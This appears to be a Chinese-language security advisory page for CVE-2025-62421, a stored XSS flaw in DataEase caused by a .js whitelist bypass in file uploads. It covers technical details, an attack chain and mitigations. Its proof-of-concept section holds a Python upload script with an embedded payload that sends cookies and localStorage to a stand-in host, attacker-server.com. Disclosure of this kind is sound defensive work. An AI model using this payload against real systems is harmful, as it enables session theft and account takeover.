IPBUF安全漏洞报告
English
CVE-2025-62421 CVSS 5.4 中危

CVE-2025-62421:DataEase存储型XSS漏洞(文件上传验证绕过)

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62421
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
DataEase(数据可视化与分析平台)

相关标签

CVE-2025-62421存储型XSSStored XSSDataEase文件上传权限绕过认证绕过白名单绕过数据可视化Java

漏洞概述

CVE-2025-62421是DataEase数据可视化与分析平台中的一个存储型跨站脚本(Stored XSS)漏洞,影响2.10.13及之前的所有版本。该漏洞源于平台对文件上传功能的验证不当以及权限校验机制的设计缺陷,导致攻击者可以绕过身份认证检查,上传包含恶意JavaScript代码的HTML文件到服务器。当其他用户访问这些被上传的恶意文件时,嵌入其中的恶意脚本将在受害者浏览器中执行,从而窃取用户会话、敏感信息或进行其他恶意操作。

DataEase是一款开源的数据分析和可视化平台,广泛应用于企业数据报表、业务仪表盘等场景。由于该平台通常部署在企业内部环境中,并涉及大量敏感业务数据的展示,一旦遭受XSS攻击,可能导致数据泄露、账户劫持等严重后果。该漏洞的CVSS评分为5.4,属于中危级别,攻击者需要低权限账户(如普通注册用户)即可发起攻击,且需要用户交互(如点击恶意链接或访问恶意页面)才能完全利用。漏洞已于2025年10月17日披露,官方在版本2.10.14中修复了该问题。

技术细节

该漏洞的核心在于StaticResourceApi接口的文件上传路由设计与权限校验逻辑的缺陷。具体技术细节如下:

1. **可控的文件上传路径**:StaticResourceApi定义了一个路由 upload/{fileId},该路由使用URL路径参数,其中上传文件的文件名和扩展名均可由用户控制。攻击者可以通过构造特定的URL路径来指定任意文件名和扩展名。

2. **权限校验绕过机制**:在TokenFilter进行权限验证时,会调用 WhitelistUtils#match 方法来判断URL路径是否在白名单中。该方法存在逻辑缺陷——如果请求URI(requestURI)以 .js 或类似扩展名结尾,系统会直接判定该路径为安全资源,从而跳过权限检查。这意味着任何以 .js 结尾的URL都会被自动放行,无需通过正常的认证流程。

3. **扩展名混淆攻击**:攻击者可以利用上述缺陷,通过访问 upload/1.js 这样的路径来绕过权限验证,但在实际上传过程中指定任意文件扩展名(如 .html)。由于服务器在存储文件时使用的是用户控制的fileId参数,而权限检查仅基于URL路径的扩展名,导致服务器最终存储的是HTML文件而非JS文件。

4. **恶意脚本执行**:攻击者上传包含恶意JavaScript代码的HTML文件后,该文件被存储在服务器上。当其他用户通过浏览器访问该文件的URL时,浏览器会解析HTML内容并执行其中的恶意JavaScript,实现存储型XSS攻击。攻击者可利用此漏洞窃取用户Cookie、会话令牌,或执行其他客户端恶意操作。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者首先需要在目标DataEase平台上注册或获取一个低权限用户账户,因为该漏洞需要PR:L(低权限)认证要求。
STEP 2
步骤2:构造绕过路径
攻击者构造访问 upload/1.js 的上传请求,利用URL路径以 .js 结尾的特性,触发 WhitelistUtils#match 方法的白名单放行逻辑,绕过TokenFilter的权限验证。
STEP 3
步骤3:上传恶意HTML文件
通过上述绕过路径上传包含恶意JavaScript代码的HTML文件。由于fileId参数完全由用户控制,攻击者可以指定任意文件名和扩展名,使服务器存储的是HTML格式的恶意文件。
STEP 4
步骤4:诱导受害者访问
攻击者通过社会工程学手段(如钓鱼邮件、内部消息等)诱导其他用户(尤其是管理员或高权限用户)访问上传的恶意文件URL。
STEP 5
步骤5:执行恶意脚本
受害者的浏览器加载恶意HTML文件并执行其中的JavaScript代码,攻击者可窃取Cookie、会话令牌、敏感数据,或以受害者身份执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62421 PoC - DataEase Stored XSS via File Upload Authentication Bypass # Affected: DataEase <= 2.10.13 # Fixed in: 2.10.14 import requests TARGET = "http://target-dataease-instance:8081" UPLOAD_URL = f"{TARGET}/staticResource/upload/1.js" # Step 1: Craft malicious HTML content with JavaScript payload malicious_html = """<html> <head><title>Legitimate Resource</title></head> <body> <h1>Document</h1> <script> // Steal cookies and session information var img = new Image(); img.src = "http://attacker-server.com/steal?cookie=" + document.cookie; // Exfiltrate local storage for (var i = 0; i < localStorage.length; i++) { var key = localStorage.key(i); new Image().src = "http://attacker-server.com/steal?localStorage_" + key + "=" + localStorage.getItem(key); } </script> </body> </html>""" # Step 2: Upload malicious file - URL path uses .js to bypass whitelist check # but the actual file content will be served as HTML headers = { "Content-Type": "application/octet-stream", "Authorization": "Bearer <attacker_token>" } # The fileId parameter controls the stored filename; using .js extension # bypasses the WhitelistUtils#match permission check files = { "file": ("1.js", malicious_html, "text/html") } response = requests.post(UPLOAD_URL, files=files, headers=headers) print(f"Upload Status: {response.status_code}") # Step 3: The malicious file is now stored and accessible # When victim visits the URL, the HTML/JS executes in their browser malicious_url = f"{TARGET}/staticResource/upload/1.js" print(f"Malicious URL: {malicious_url}") print("Victims visiting this URL will execute the embedded JavaScript payload.")

影响范围

DataEase <= 2.10.13

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)或反向代理层面,拦截对 /staticResource/upload/ 路径的请求,防止未授权的文件上传;2)限制只有特定IP地址或用户角色可以访问文件上传接口;3)对服务器上已上传的文件进行扫描,移除可疑的HTML文件;4)部署CSP策略,限制内联脚本执行,降低XSS攻击的影响范围;5)密切监控系统日志,及时发现异常的权限绕过行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表